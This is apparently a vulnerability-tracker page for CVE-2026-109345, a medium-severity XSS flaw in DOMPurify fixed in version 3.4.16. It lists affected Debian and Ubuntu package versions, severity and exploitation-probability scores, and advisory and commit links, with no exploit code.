All versions, plus listed versions 2.4.1+dfsg+~2.4.0-12.4.1+dfsg+~2.4.0-22.4.1+dfsg+~2.4.0-2+deb12u13.0.9+dfsg+~3.0.5-13.1.6+dfsg+~3.0.5-1 Show 13 moreShow less3.1.7+dfsg+~3.0.5-13.1.7+dfsg+~3.0.5-23.2.5+dfsg-13.3.2+dfsg-13.3.3+dfsg-13.3.3+dfsg-23.4.1+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-23.4.16+dfsg-13.4.2+dfsg-13.4.5+dfsg-1 |
None known |
node-dompurifyDebian:13 |
All versions, plus listed versions 3.1.7+dfsg+~3.0.5-23.2.5+dfsg-13.3.2+dfsg-13.3.3+dfsg-13.3.3+dfsg-2 Show 7 moreShow less3.4.1+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-23.4.16+dfsg-13.4.2+dfsg-13.4.5+dfsg-1 |
None known |
node-dompurifyDebian:14 |
before 3.4.16+dfsg-1, plus listed versions 3.1.7+dfsg+~3.0.5-23.2.5+dfsg-13.3.2+dfsg-13.3.3+dfsg-13.3.3+dfsg-2 Show 6 moreShow less3.4.1+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-23.4.2+dfsg-13.4.5+dfsg-1 |
3.4.16+dfsg-1 |
dompurifynpm |
before 3.4.16 | 3.4.16 |
node-dompurifyUbuntu:22.04:LTS |
All versions, plus listed versions 2.3.0+dfsg-22.3.3+dfsg-1 |
None known |
node-dompurifyUbuntu:24.04:LTS |
All versions, plus listed versions 2.4.1+dfsg+~2.4.0-13.0.9+dfsg+~3.0.5-1 |
None known |
node-dompurifyUbuntu:26.10 |
All versions, plus listed versions 3.3.3+dfsg-13.4.2+dfsg-13.4.5+dfsg-13.4.12+dfsg-13.4.13+dfsg-13.4.13+dfsg-2 |
None known |
node-dompurifyUbuntu:26.04:LTS |
All versions, plus listed versions 3.1.7+dfsg+~3.0.5-23.3.3+dfsg-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-109345 is a medium vulnerability (CVSS 5.1) in Cure53 Dompurify, published October 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in dompurify 3.4.16.
References
github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2
vulncheck.com/advisories/dompurify-before-3.4.16-xss-via-in-place-returned-rawtext-root
github.com/cure53/DOMPurify/pull/1636
github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7
github.com/cure53/DOMPurify/releases/tag/3.4.16
github.com/advisories/GHSA-6688-9rhm-gjv2
Show 7 moreShow less
nvd.nist.gov/vuln/detail/CVE-2026-109345
github.com/advisories/GHSA-cjhx-p48c-gfm9
github.com/CVEProject/cvelistV5/tree/main/cves/2026/109xxx/CVE-2026-109345.json
security-tracker.debian.org/tracker/CVE-2026-109345
github.com/cure53/DOMPurify
ubuntu.com/security/CVE-2026-109345
cve.org/CVERecord?id=CVE-2026-109345
Left out here: the rest of 2 source descriptions. The JSON record has them.